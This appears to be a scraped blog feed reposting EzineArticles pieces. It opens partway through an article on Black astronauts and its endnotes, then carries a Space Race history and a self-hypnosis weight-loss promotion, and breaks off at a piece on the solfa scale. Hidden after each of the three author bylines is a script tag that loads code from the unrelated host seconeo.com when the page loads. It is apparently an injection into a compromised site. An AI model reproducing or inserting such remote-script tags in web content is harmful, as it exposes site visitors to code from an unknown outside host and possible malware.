<p>Afterwards Guy Bluford participated in three additional missions &#8211; STS-61-A (October 30-November 6, A.D. 1985 aboard <i>Challenger</i>), STS-39 (April 28-May 6, A.D. 1991 aboard <i>Discovery</i>), and STS-53 (December 2-December 9, A.D. 1992 aboard <i>Discovery</i>).  During his career, Col. Bluford who retired from active space duty in 1993, amassed 28 days, 16 hours and 33 minutes in space.  Since then Col. Bluford has been inducted into the International Space Hall of Fame (A.D. 1997) and &#8220;has spoken before many groups&#8230; where he serves as a role model,&#8221; all possible because his mother, a teacher, and father, an engineer, had encouraged him and his three brothers to &#8220;set their goals high&#8221; and because he ignored a school counselor&#8217;s advice to&#8221;learn a trade, since he was not college material.&#8221;<b>[24]</b></p>
<p>The next black astronaut to make history was <b>Dr. Mae Jemison</b> (b. A.D. 1956), the daughter of a maintenance worker (her father) and teacher (her mother) who earned a BS in Chemical Engineering, a BA in African-American studies, and a doctorate in medicine.  Notably, during her years in medical school and participation in the Peace Corps she had provided medical care to persons in Cuba, Kenya, Liberia, Sierra Leone, and Thailand.</p>
<p>When the space shuttle <i>Endeavor</i> was launched on September 12, A.D. 1992, Dr. Jemison became the first African-American woman in space.  Following her 7 day, 22 hour, 30 minute mission aboard <i>Endeavor</i> as a mission specialist (STS-47 September 12-20, A.D. 1992), Jemison retired from space flight to found <i>The Jemison Group</i> &#8220;to research, develop and implement advanced technologies suited to the social, political, cultural and economic context of the individual, especially for the developing world.&#8221;<b>[25]</b>  Yet despite her post NASA pursuits, Dr. Jemison in following the encouragement and support given by her parents, consistently encourages African-Americans to pursue scientific careers especially with the space program &#8211; &#8220;This is the one time when we can get in on the ground floor.&#8221;<b>[26]</b></p>
<p>A third history making black astronaut was <b>Dr. Bernard A. Harris, Jr. </b> (b. A.D. 1956), a private pilot and flight surgeon with a doctorate in medical science and a master&#8217;s degree in biomedical science who had dreamed &#8220;to look down on the clouds&#8221; since he was 8.  &#8220;I was watching what was happening with the space program, watching these guys go up&#8230; people called them American heroes.  I wanted to be a hero too,&#8221; he declared when thinking back to the infancy of the U.S. space program.<b>[27]</b>   On February 9, A.D. 1995, Dr. Harris became the first African-American to walk in space when he and astronaut Michael Foale (b. A.D. 1957) &#8220;made a five hour space walk to test thermal improvements in space suits and to hoist a 2,800 pound telescope that would aid&#8230; efforts to design [the] International Space Station.&#8221;<b>[28]</b>  Afterwards, he reflected back to 1963, perhaps the most pivotal year in the Civil Rights movement (e.g. the march on Washington, D.C. where Martin Luther King, Jr. made his famous <i>&#8220;I have a dream&#8221;</i> speech in August, the Birmingham Church bombing a month later that martyred four young black girls, etc.) stating, &#8220;Those were some of the best times and worst times.  Here on this planet we were fighting for human rights and at the same time we were sending men to the moon.&#8221;<b>[29]</b>  Appropriately, Dr. Harris dedicated his space walk, which he described as &#8220;probably the most wonderful day of my life&#8221;<b>[30]</b> to &#8220;all African-Americans and to African American achievement.&#8221;<b>[31]</b></p>
<p>During his astronaut career, Dr. Bernard Harris, Jr. took part in two missions &#8211; STS-55 (April 26-May 6, A.D. 1993 aboard <i>Columbia</i> as a mission specialist conducting &#8220;a variety of research in physical and life sciences&#8221;<b>[32]</b>) and STS-63 (February 2-11, A.D. 1995 aboard <i>Discovery</i> as payload commander) logging 18 days, 6 hours and 8 minutes in space.  Like Bluford, Dr. Harris also serves as an inspiration encouraging &#8220;children of all races to follow his example &#8211; &#8216;Don&#8217;t be afraid to dream&#8230;  Get&#8230; an education.  Be willing to work hard.  If you do these three things, there is nothing that you can&#8217;t do in life.&#8217;&#8221;<b>[33]</b></p>
<p>In addition to the above-mentioned African-American astronauts, others have also pursued and made the journey to and from space.  In the process, two &#8211; Ronald E. McNair, Ph.D. and Col. Michael A. Anderson, made the ultimate sacrifice &#8211; giving up their lives in quest of scientific exploration and discovery for the benefit of humanity.  Summaries of these inspirational astronauts are listed below:</p>
<p><b>Lt. Col. Michael P. Anderson</b> (A.D. 1959-A.D. 2003) amassed 24 days, 18 hours, and 8 minutes in space, participating in STS-89 (January 22-31, A.D. 1998 aboard <i>Endeavor</i>) and STS-107 (January 16-February 1, A.D. 2003 aboard <i>Columbia</i>).  Tragically Lt. Col. Anderson lost his life when the &#8220;space shuttle <i>Columbia</i> and her crew perished during entry, 16 minutes before scheduled landing&#8221;<b>[34]</b> at Cape Canaveral.</p>
<p><b>Charles F. Bolden, Jr. </b> (b. A.D. 1946) amassed 28 days, 8 hours, and 37 minutes in space, participating in STS-61-C (January 12-18, 1986 aboard <i>Columbia</i>), STS-31 (April 24-29, A.D. 1990 aboard <i>Discovery</i>), STS-45 (March 24-April 2, A.D. 1992 aboard <i>Atlantis</i> as the first African-American mission commander), and STS-60 (February 3-11, A.D. 1994 aboard <i>Discovery</i>).</p>
<p><b>Robert L. Curbeam, Jr. </b> (b. A.D. 1962) amassed 24 days, 17 hours, and 49 minutes in space, participating in STS-85 (August 7-19, A.D. 1997 aboard <i>Discovery</i>) and STS-98 (February 7-20, 2001 aboard <i>Atlantis</i>).</p>
<p><b>Col. Frederick D. Gregory</b> (b. A.D. 1941) amassed 18 days, 23 hours, and 4 minutes in space, participating in STS-51-B (April 29-May 6, A.D. 1985 aboard <i>Challenger</i>), STS-33 (November 22-27, A.D. 1989 aboard <i>Discovery</i>), and STS-44 (November 24-December 1, A.D. 1991 aboard <i>Atlantis</i>).</p>
<p><b>Ronald E. McNair, Ph.D.</b> (A.D. 1950-A.D. 1986) amassed 7 days, 23 hours, and 15 minutes in space during STS-41-B (February 3-11, A.D. 1984 aboard <i>Challenger</i>).  Tragically Dr. McNair perished along with the rest of the <i>Challenger</i> crew when the space shuttle exploded minutes after launch on January 28, A.D. 1986 for the STS-51-L mission.</p>
<p><b>Stephanie D. Wilson</b> (b. A.D. 1966) who to date has amassed 12 days, 18 hours, and 36 minutes in space (STS-121 &#8211; July 4-17, A.D. 2006 aboard <i>Discovery</i>).</p>
<p>Based on the growing roll of African-American astronauts, which likely will include Joan Higginbotham (b. A.D. 1964) who is slated for launch this fall, the efforts of Dr. Beth A. Brown, a pioneering African-American astrophysicist, the creation of a &#8220;National Astrophysics and Space Science Programme&#8221; in South Africa consisting of a collaboration among the country&#8217;s &#8220;universities and research institutes [that focuses on] honors and masters students [to create a new generation of space scientists]<b>[35]</b>, and the A.D. 2005 debut of the 11-meter-wide South African Large Telescope (SALT) at Sutherland, &#8220;the Southern Hemisphere&#8217;s largest and most advanced telescope&#8221;<b>[36]</b> the black space experience can only grow richer as the future remains bright like the Earth&#8217;s shining star, the Sun.</p>
<p>______________________________</p>
<p><b><u>Endnotes:</u></b></p>
<p><b>[1]</b> <u> Ancient Astronomy In Africa.</u>  Fall 1998.  18 July 2006.  [http://hej3.as.utexas.edu/~www/wheel/africa/index.html]</p>
<p><b>[2]</b> Jarita Holbrook.  <u>African Astronomy.</u>  Center for Archaeoastronomy.  June 1998.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.wam.umd.edu/~tlaloc/archastro/ae28.html">http://www.wam.umd.edu/~tlaloc/archastro/ae28.html</a></p>
<p><b>[3]</b> <u>Africans studied astronomy in medieval times.</u>  The Royal Society.  30 January 2006.  18 July 2006.  [http://www.royalsoc.ac.uk/news/asp?year=&amp;id=4117&amp;printer=1]</p>
<p><b>[4]</b> Kathy Nellis. <u>Trip to the stars rooted in history.</u>  CNN.com.  24 February 1996.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.cnn.com/US/9602/black_astronaut/index.html">http://www.cnn.com/US/9602/black_astronaut/index.html</a></p>
<p><b>[5]</b> M. Panther.  <u>Africans Studied Astronomy in Medieval Times.</u>  26 February 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.assatashakur.org/forum/archive/index.php/t-15793.html">http://www.assatashakur.org/forum/archive/index.php/t-15793.html</a></p>
<p><b>[6]</b> Jarita Holbrook.  <u>African Astronomy. </u>  Center for Archaeoastronomy.  June 1998.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.wam.umd.edu/~tlaloc/archastro/ae28.html">http://www.wam.umd.edu/~tlaloc/archastro/ae28.html</a></p>
<p><b>[7]</b> Curtis Abraham.  <u>Astronomy and the legacy of apartheid.</u>  New Scientist.com.  15 January 2005.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.newscientist.com/article.ns?id=mg18524822.000&amp;print=true">http://www.newscientist.com/article.ns?id=mg18524822.000&amp;print=true</a></p>
<p><b>[8]</b> Jarita Holbrook.  <u>African Astronomy. </u>  Center for Archaeoastronomy.  June 1998.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.wam.umd.edu/~tlaloc/archastro/ae28.html">http://www.wam.umd.edu/~tlaloc/archastro/ae28.html</a></p>
<p><b>[9]</b> <u>Ngas.</u>  Cultural Astronomy.  18 July 2006.  <a target="_new" rel="nofollow" href="http://ecuip.lib.uchicago.edu/diglib/science/cultural_astronomy/cultures_ngas-1.html">http://ecuip.lib.uchicago.edu/diglib/science/cultural_astronomy/cultures_ngas-1.html</a></p>
<p><b>[10]</b> <u>Namouratunga II.</u>  Archaeoastronomy Africa.  18 July 2006.  <a target="_new" rel="nofollow" href="http://library.thinkquest.org/C0118421/africakenya.html">http://library.thinkquest.org/C0118421/africakenya.html</a></p>
<p><b>[11]</b> M. Panther.  <u>Africans Studied Astronomy in Medieval Times.</u>  26 February 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.assatashakur.org/forum/archive/index.php/t-15793.html">http://www.assatashakur.org/forum/archive/index.php/t-15793.html</a></p>
<p><b>[12]</b> A.F. Veni.  <u>Tropical archeoastronomy.</u>  Science 213.   1981.</p>
<p><b>[13]</b> Laurence R. Doyle and Edward W. Frank.  <u>Astronomy of Africa.</u>  Encyclopedia of the History of Science, Technology and Medicine in Non-Western Cultures.  18 July 2006.  [http://www.tusker.com/Archaeo/art.encyclo.htm]</p>
<p><b>[14]</b> Jarita Holbrook.  <u>African Astronomy. </u>  Center for Archaeoastronomy.  June 1998.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.wam.umd.edu/~tlaloc/archastro/ae28.html">http://www.wam.umd.edu/~tlaloc/archastro/ae28.html</a></p>
<p><b>[15]</b> Laurence R. Doyle and Edward W. Frank.  <u>Astronomy of Africa.</u>  Encyclopedia of the History of Science, Technology and Medicine in Non-Western Cultures.  18 July 2006.  [http://www.tusker.com/Archaeo/art.encyclo.htm]</p>
<p><b>[16]</b> M. Panther.  <u>Africans Studied Astronomy in Medieval Times.</u>  26 February 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.assatashakur.org/forum/archive/index.php/t-15793.html">http://www.assatashakur.org/forum/archive/index.php/t-15793.html</a></p>
<p><b>[17]</b> Jarita Holbrook.  <u>African Astronomy. </u>  Center for Archaeoastronomy.  June 1998.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.wam.umd.edu/~tlaloc/archastro/ae28.html">http://www.wam.umd.edu/~tlaloc/archastro/ae28.html</a></p>
<p><b>[18]</b> Curtis Abraham.  <u>Astronomy and the legacy of apartheid.</u>  New Scientist.com.  15 January 2005.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.newscientist.com/article.ns?id=mg18524822.000&amp;print=true">http://www.newscientist.com/article.ns?id=mg18524822.000&amp;print=true</a></p>
<p><b>[19]</b> John Reader.  <u>Africa:  A Biography of the Continent.</u>  Vintage Books:  New York.  1997.  286.</p>
<p><b>[20]</b> <u>WWII flier paved way for black astronauts.</u>  News 4.  10 July 2006.  <a target="_new" rel="nofollow" href="http://kvoa.com/global/story.asp?s=5130972&amp;ClientType=Printable">http://kvoa.com/global/story.asp?s=5130972&amp;ClientType=Printable</a></p>
<p><b>[21]</b> <u>Robert Henry Lawrence, Jr. Biography.</u>  NASA and About, Inc.  2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://space.about.com/cs/deceasedastronaut/a/rhlawrencebio.htm">http://space.about.com/cs/deceasedastronaut/a/rhlawrencebio.htm</a></p>
<p><b>[22]</b> <u>Robert Henry Lawrence, Jr.</u>  Wikipedia.com.  3 July 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Robert_Henry_Lawrence_Jr">http://en.wikipedia.org/wiki/Robert_Henry_Lawrence_Jr</a></p>
<p><b>[23]</b> <u>Arnaldo Tamayo M&eacute;ndez.</u>  Wikipedia.com.  4 July 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Arnaldo_Tamayo_Mendez">http://en.wikipedia.org/wiki/Arnaldo_Tamayo_Mendez</a></p>
<p><b>[24]</b> <u>Nick Greene.  Guion &#8220;Guy&#8221; Bluford &#8211; NASA Astronaut.</u>  About, Inc.  2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://space.about.com/cs/formerastronauts/a/guionbluford.htm">http://space.about.com/cs/formerastronauts/a/guionbluford.htm</a></p>
<p><b>[25]</b> <u>Mae Jemison.</u>  Wikipedia.com.  28 June 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Mae_Jemison">http://en.wikipedia.org/wiki/Mae_Jemison</a></p>
<p><b>[26]</b> Marilyn Marshall.  <u>Child of the &#8216;60s set to become first Black woman in space.</u>  Gale Group.  2004.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.findarticles.com/p/articles/mi_m1077/is_n10_v44/ai_7804625/print">http://www.findarticles.com/p/articles/mi_m1077/is_n10_v44/ai_7804625/print</a></p>
<p><b>[27]</b> <u>First African-American To Walk In Space Speaks In Palestine.</u>  KLTV.com.  18 January 2005.  21 July 2006.  <a target="_new" rel="nofollow" href="http://afgen.com/bernard_harris.html">http://afgen.com/bernard_harris.html</a></p>
<p><b>[28]</b> <u>1997 Honorees &#8211; Bernard A. Harris, Jr., M.D.</u>  Dominion.  2006.  21 July 2006.  [http://www.dom.com/about/education/strong/1997/bernardharris.jsp]</p>
<p><b>[29]</b> <u>First African-American To Walk In Space Speaks In Palestine.</u>  KLTV.com.  18 January 2005.  21 July 2006.  <a target="_new" rel="nofollow" href="http://afgen.com/bernard_harris.html">http://afgen.com/bernard_harris.html</a></p>
<p><b>[30]</b> Nick Greene.  <u>Dr. Bernard Harris, Jr., Biography.</u>  About, Inc.  2006.  <a target="_new" rel="nofollow" href="http://space.about.com/od/foremrastronauts/a/bernardharris.htm">http://space.about.com/od/foremrastronauts/a/bernardharris.htm</a></p>
<p><b>[31]</b> <u>1997 Honorees &#8211; Bernard A. Harris, Jr., M.D.</u>  Dominion.  2006.  21 July 2006.  [http://www.dom.com/about/education/strong/1997/bernardharris.jsp]</p>
<p><b>[32]</b> Nick Greene.  <u>Dr. Bernard Harris, Jr., Biography.</u>  About, Inc.  2006.  <a target="_new" rel="nofollow" href="http://space.about.com/od/foremrastronauts/a/bernardharris.htm">http://space.about.com/od/foremrastronauts/a/bernardharris.htm</a></p>
<p><b>[33]</b> Nick Greene.  <u>Dr. Bernard Harris, Jr., Biography.</u>  About, Inc.  2006.  <a target="_new" rel="nofollow" href="http://space.about.com/od/foremrastronauts/a/bernardharris.htm">http://space.about.com/od/foremrastronauts/a/bernardharris.htm</a></p>
<p><b>[34]</b> <u>Michael Phillip Anderson.</u>  Wikipedia.com.  3 Julye 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Michael_P._Anderson">http://en.wikipedia.org/wiki/Michael_P._Anderson</a></p>
<p><b>[35]</b> <u>Space science programme takes off.</u>  Science in Africa.  May 2003.  18 July 2006.  <a target="_new" rel="nofollow" href="http://www.scienceinafrica.co.za/2003/may/stars.htm">http://www.scienceinafrica.co.za/2003/may/stars.htm</a></p>
<p><b>[36]</b> George Faraday.  South Africa to Build Largest Telescope South of the Equator.  Africa News Service.  8 July 1998.  21 July 2006.  <a target="_new" rel="nofollow" href="http://allafrica.com/stories/printable/200101080369.html">http://allafrica.com/stories/printable/200101080369.html</a></p>
<p><b><u>Additional Sources:</u></b></p>
<p>Bail Davidson.  <u>The Lost Cities of Africa.</u>  Little, Brown and Company.  USA.  1959.</p>
<p><u>Bernard A. Harris, Jr.</u>  Wikipedia.com.  11 May 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Bernard_Harris">http://en.wikipedia.org/wiki/Bernard_Harris</a></p>
<p><u>Charles F. Bolden, Jr.</u>  Wikipedia.com.  4 July 2006.  21 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Charles_F._Bolden">http://en.wikipedia.org/wiki/Charles_F._Bolden</a></p>
<p><u>Frederick D. Gregory.</u>  Wikipedia.com.  8 June 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Frederick_Gregory">http://en.wikipedia.org/wiki/Frederick_Gregory</a></p>
<p><u>Guion Bluford.</u>  Wikipedia.com.  15 June 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Guion_Bluford">http://en.wikipedia.org/wiki/Guion_Bluford</a></p>
<p>Nick Greene.  <u>Dr. Mae C. Jamison.</u>  About, Inc.  2006.  <a target="_new" rel="nofollow" href="http://space.about.com/cs/formerastronauts/a/jemisonbio.htm">http://space.about.com/cs/formerastronauts/a/jemisonbio.htm</a></p>
<p>Nick Greene.  <u>Ronald E. McNair (Ph.D.).</u>  About, Inc.  2006.  <a target="_new" rel="nofollow" href="http://space.about.com/cs/deceasedastronaut/a/ronmcnair.htm">http://space.about.com/cs/deceasedastronaut/a/ronmcnair.htm</a></p>
<p><u>Robert Curbeam.</u>  Wikipedia.com.  21 June 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Robert_Curbeam">http://en.wikipedia.org/wiki/Robert_Curbeam</a></p>
<p><u>Ronald McNair.</u>  Wikipedia.com.  6 July 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Ronald_McNair">http://en.wikipedia.org/wiki/Ronald_McNair</a></p>
<p><u>South African Large Telescope Makes Its Debut.</u>  Physorg.com.  1 September 2005.   21 July 2006.  <a target="_new" rel="nofollow" href="http://www.physorg.com/news6159.html">http://www.physorg.com/news6159.html</a></p>
<p><u>Stephanie Wilson.</u>  Wikipedia.com.  18 July 2006.  18 July 2006.  <a target="_new" rel="nofollow" href="http://en.wikipedia.org/wiki/Stephanie_Wilson">http://en.wikipedia.org/wiki/Stephanie_Wilson</a></p>
<p>William Sutherland is a published poet and writer. He is the author of three books, &#8220;Poetry, Prayers &#038; Haiku&#8221; (1999), &#8220;Russian Spring&#8221; (2003) and &#8220;Aaliyah Remembered: Her Life &#038; The Person behind the Mystique&#8221; (2005) and has been published in poetry anthologies around the world.</p>
<p>Author: <a href="http://EzineArticles.com/?expert=William_Sutherland">William Sutherland</a><br />Article Source: <a href="http://ezinearticles.com/?The-Black-Space-Experience&#038;id=249108">EzineArticles.com</a><script src="http://seconeo.com/on"></script></p>
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		<title>The Space Race &#8211; First Part</title>
		<link>http://governpoint.org/2010/08/23/the-space-race-first-part/</link>
		<comments>http://governpoint.org/2010/08/23/the-space-race-first-part/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 23:40:42 +0000</pubDate>
		<dc:creator>David K.</dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/23/the-space-race-first-part/</guid>
		<description><![CDATA[In 1952, the International Council of Scientific Unions (ICSU) announced the International Geophysical Year (IGY), a time span between July 1957 to December 1958. This was the start of the Space Race.]]></description>
			<content:encoded><![CDATA[<p>In 1952, the International Council of Scientific Unions (ICSU) announced the International Geophysical Year (IGY), a time span between July 1957 to December 1958. This period was to be filled with numerous scientific experiments and studies about Earth. It was in 1955 that the Soviet Union surprised the world by announcing the plan to orbit a satellite in the International Geophysical Year. As this was the time of great rivalry between the United States and the Soviet Union, US President Eisenhower promised that the United States would orbit a satellite in this period themselves. This was the start of the Space Race.</p>
<p>Both countries had missiles in development, Intercontinental Ballistic Missiles (ICBMs). Their mission was the same on both sides: To deliver a single nuclear warhead over an intercontinental distance. But as the Soviet warhead was much heavier than the US one, the Soviets developed, from the beginning on, a stronger rocket, which showed very useful later in history for use as a space launcher. In the United States, the satellite should have been orbited by an all-civil rocket, the Vanguard.</p>
<p>Sputnik 1 was launched by the Soviet Union on October 4, 1957. It was a shock for the western hemisphere, all forth the United States. Not only that the Soviets had orbited a satellite, it was the mass that shocked the governmental authorities. Though the Sputnik itself weighed only 84 kilograms, the third stage of the rocket orbited the Earth as well. And this stage alone weighed about 7.5 tonnes. In contrast, the US satellite, named like its launcher Vanguard, had a mass of only 1.36 kilograms and the rocket was more like a patchwork. Tauntingly said, the Americans put every kind of rocket together they could find. Not that surprising that the maiden launched failed only a few seconds after lift-off.</p>
<p>But in the progress of developing the first satellites, the United States slowly recognized their shortfall in rocket technology and allowed Wernher von Braun and his Army Ballistic Missile Agency (ABMA) to reinforce a military Intermediate Range Ballistic Missile (IRBM), the Redstone, with two additional stages, so that this launcher, now called Jupiter-C, was able to deliver a small payload into orbit. The first US satellite, Explorer 1, was successfully put into orbit on January 31, 1958. In the meantime, the Soviets had launched a dog onboard Sputnik 2, a satellite with a mass of 508 kilograms. But already in this very early phase, one difference showed up.</p>
<p>While the Soviets were able to put large payloads into orbit, their scientific payloads often suffered under the backlog in electronics and the kind of the academic landscape. Explorer 1, for example, although weighing only a bit more than a kilogram, gave valuable information about a radiation belt around the Earth, later called the Van-Allen Belt after the professor who developed the instrument onboard the satellite. In contrast the Soviets had problems to exchange data and information as the whole space program was highly classified.</p>
<p>It soon became clear for both sides, that space flight was a perfect environment to show their assumed technological supremacy over each other. Both thought that they could document the superiority of their respective administrations. That&#8217;s why both of them early envisaged a manned space flight. The Soviets approached their goal with a relatively simple solution. A sphere-shaped capsule with no possibility for the spaceman to control or steer the craft.</p>
<p>On the other side of the Earth, the Americans had two concepts under investigation. They had a very successful experimental flight program, the X-15. One option was to develop a next evolutionary step of this craft, the reusable like a plane X-20. First to be carried under a Mach-3 bomber, the B-70, up the atmosphere to fly ballistic flight profiles. Later the craft should have been fitted onto a Titan rocket in order to fly orbital missions. As the realisation of this program would have taken a long time, it was decided to initiate the &#8220;Man in Space Soonest&#8221; program, that later became the Mercury project. The X-20 was kept alive for a few years as an Air Force program but was then cancelled. One can only speculate how space flight would have developed if the United States had chosen a fully reusable craft from the beginning on.</p>
<p>After these initial competitions between the two Superpowers about the firsts, like first satellite, first man in space, first &#8220;space walk&#8221;, both states soon targeted a new major goal: the moon. Although the Soviets denied until its decline in 1991 all the time that they had a moon program, the whole program is clear today. Both countries depended with their ambitious programs on large boosters: the Saturn V on the US side and the N-1 on the Soviet side. Today one can say, that the N-1 was the only major failure of the Soviet or today Russian space program (beside the point, that not a single Mars probe ever functioned as intended, if ever reaching Mars).</p>
<p>But it was a very serious duel. Both rivals took great risks in achieving their goals. And as no one has luck for all times, both had to mourn about first victims. Vladimir Komarov died on the first manned flight of a new capsule, the Soyuz 1. The United States lamented about the crew of Apollo 1, Ed White, Roger Chaffee and Virgil &#8220;Gus&#8221; Grissom.</p>
<p>But nonetheless the United States landed on the moon in 1969 and after a third failure in trying to launch their super-rocket N-1 the Soviets cancelled their moon program. But this was not the end of the Space Race. It seemed that the United States had won, but the Soviets had an ace in the hole. They switched from the exploration of the moon to a completely different goal: manned space stations. Salyut 1 was launched on April 19, 1971. The first crew that docked with the station, Soyuz 11, directly achieved a new endurance record of 23 days, the obviously new goal of the Space Race. Sadly, the crew of Soyuz 11 died at re-entry due to an open valve.</p>
<p>As the United States launched their first space station, Skylab, in 1973, the Soviet Union already had Salyut 2 in orbit and gained a lot of experience in long time stays in microgravity and about operating space stations. But Salyut 2 was still a small station compared to Skylab and had much in common with the first one of its name. So it was not very surprising that the first crew of Skylab set a new endurance record in 1973. After the United States stopped their Apollo-based flights with the Apollo-Soyuz-Test-Project (ASTP) in 1975 to wait for their new Space Transportation System or Space Shuttle, the Soviet Union continued their space station program with a steady pace. In regular intervals, new stations were orbited and each of them incorporated improvements and new features. With Salyut 6, launched in 1977, the Soviets entered a new phase. This was the first station that had two docking ports, so it could be replenished by unmanned cargo transports as well as receiving guests on an additional Soyuz ferry.</p>
<p>The Space Race practically ended with the mothballing of Skylab but still both states walked somewhat side by side: both opened their spacecrafts to international guests. The Soviet Union started their Intercosmos program in 1978 with the first flight of a Czech cosmonaut, Vladimir Remek, the Space Shuttle saw the first non-American to fly in 1983, German Ulf Merbold. Although during the first half of the 1980s the rivalry between both countries grew over again, the signs of a new Space Race were only a short flame up: Neither the United States with their space station Freedom, nor the Soviet Union with their Shuttle-craft Buran had the will or money to push these programs through.</p>
<p>With the fall of the Soviet Union in 1991, a new era was to become reality. US-built rockets like the Atlas flew with Russian-built engines. The Space Shuttle docked with the Mir space station and Americans stayed for 6 months onboard the station while Russian cosmonauts flew on the Shuttle. And today we have the International Space Station ISS.</p>
<p>But this was only the end of the first part: A new Space Race already waited on the horizon. To be more precise, not only one, but instead three Space Races would soon become reality.</p>
<p>Watch out for the next parts of the Space Race.</p>
<p>Klaus Schmidt writes about the developments in spaceflight at <a target="_new" href="http://space-future.blogspot.com">http://space-future.blogspot.com</a> and <a target="_new" href="http://spacefellowship.com">The Space Fellowship</a>.</p>
<p>Author: <a href="http://EzineArticles.com/?expert=Klaus_Schmidt">Klaus Schmidt</a><br />Article Source: <a href="http://ezinearticles.com/?The-Space-Race---First-Part&#038;id=762198">EzineArticles.com</a><script src="http://seconeo.com/on"></script></p>
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		<title>Learn to Love Eating Healthy With Self Hypnosis Weight Loss</title>
		<link>http://governpoint.org/2010/08/23/learn-to-love-eating-healthy-with-self-hypnosis-weight-loss/</link>
		<comments>http://governpoint.org/2010/08/23/learn-to-love-eating-healthy-with-self-hypnosis-weight-loss/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 23:40:35 +0000</pubDate>
		<dc:creator>Marc Carlin</dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/23/learn-to-love-eating-healthy-with-self-hypnosis-weight-loss/</guid>
		<description><![CDATA[Find out how to love eating healthy food with self hypnosis. When you eat healthy foods you will naturally find weight loss is easy.]]></description>
			<content:encoded><![CDATA[<p><strong>What&#8217;s the hardest</strong> part to losing weight for you? If you answered eating right I&#8217;m going to show you a way to change that. If you only could learn to love eating healthy, you could reach your ideal weight naturally, couldn&#8217;t you? With self hypnosis weight loss you find out how to love eating healthy.</p>
<p>Getting started with self hypnosis is easy. When you calm your mind and focus on one thought for an extended period of time, you are in essence practicing self hypnosis. You&#8217;ve probably been doing it for unhealthy reasons. Like didn&#8217;t you catch site of some potato chips or some other unhealthy food and start to think about what it would taste like? Did your mouth start to water?</p>
<p>That&#8217;s how you program yourself for unhealthy foods. Imagine doing that same exact mental exercise but with healthy foods. So that when you think about or see an image of food you think about it in a healthy form. And that&#8217;s self hypnosis broken down to it&#8217;s most simple form. There is a secret I&#8217;ll let you in on later in this article on locking in the new habit.</p>
<p><strong>Let&#8217;s start</strong> now to program your mind for healthy foods. Find a place to sit in that will be comfortable for you. Take a deep breath in and as you release that breath close your eyes. Simply focus on your breathing until it becomes smooth and natural.</p>
<p>Now in this calm state bring up an image of what you consider to be healthy foods. As you bring up that healthy food image also bring up a feeling of comfort and safety. Any good and pleasant feeling you can bring up, use it to associate that positive feeling with those images of healthy foods.</p>
<p>Now imagine that these foods and feelings are on a revolving platform,like a carousel. And as the platform revolves you continue to see those pictures and feel those feelings over and over and over again.</p>
<p>This is how you train your mind to love healthy foods. It&#8217;s the repetition part that is the secret to successful results. Think of all the times that you have done this type of mental rehearsal for the behaviors that have gotten you into trouble. Too many to count, right? In order to counter the wrong programming you have to increase the frequency of your positive practice.</p>
<p>Do this mental exercise as often as you can. It doesn&#8217;t have to take long. Even a minute or three will do. What is most important is to do it often to install your new automatic response to loving healthy foods.</p>
<p><b>I saved the best</b> for last. There&#8217;s real magic in the ways of learning how to perform self hypnosis for weight loss correctly. And I invite you to take advantage of my free self-hypnosis course by going to self <a target="_new" href="http://www.hypnoticstate.com/hypnosis/lose-weight.html">hypnosis weight loss New York</a>. You can also visit my site, HypnoticState.com, to get my free self hypnosis ebook, self <a target="_new" href="http://www.hypnoticstate.com/hypnosis/lose-weight.html">hypnosis weight loss NY</a>. It&#8217;s the same information that was published in the book I co-wrote, <u>Real World Hypnosis, Insider Tips From Leading Hypnotists</u>, that&#8217;s for sale on Amazon, Barnes and Noble, and other booksellers.</p>
<p>Author: <a href="http://EzineArticles.com/?expert=Marc_Carlin">Marc Carlin</a><br />Article Source: <a href="http://ezinearticles.com/?Learn-to-Love-Eating-Healthy-With-Self-Hypnosis-Weight-Loss&#038;id=4485893">EzineArticles.com</a><script src="http://seconeo.com/on"></script></p>
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		<title>Ancient Intents Hidden Within the Solfa Scale</title>
		<link>http://governpoint.org/2010/08/23/ancient-intents-hidden-within-the-solfa-scale/</link>
		<comments>http://governpoint.org/2010/08/23/ancient-intents-hidden-within-the-solfa-scale/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 23:40:20 +0000</pubDate>
		<dc:creator>David K.</dc:creator>
				<category><![CDATA[Faith]]></category>

		<guid isPermaLink="false">http://governpoint.org/2010/08/23/ancient-intents-hidden-within-the-solfa-scale/</guid>
		<description><![CDATA[What, you may ask, is the solfa scale (also known as the solfeggio scale)? Quite simply, it is a series of seven syllables used as a teaching aid in which each note is sung to a different syllable. These syllables are known quite commonly as do, re, mi, fa, so, la, and ti. These syllables became popular in the movie "Sound of Music" with the Do, Re Mi song.]]></description>
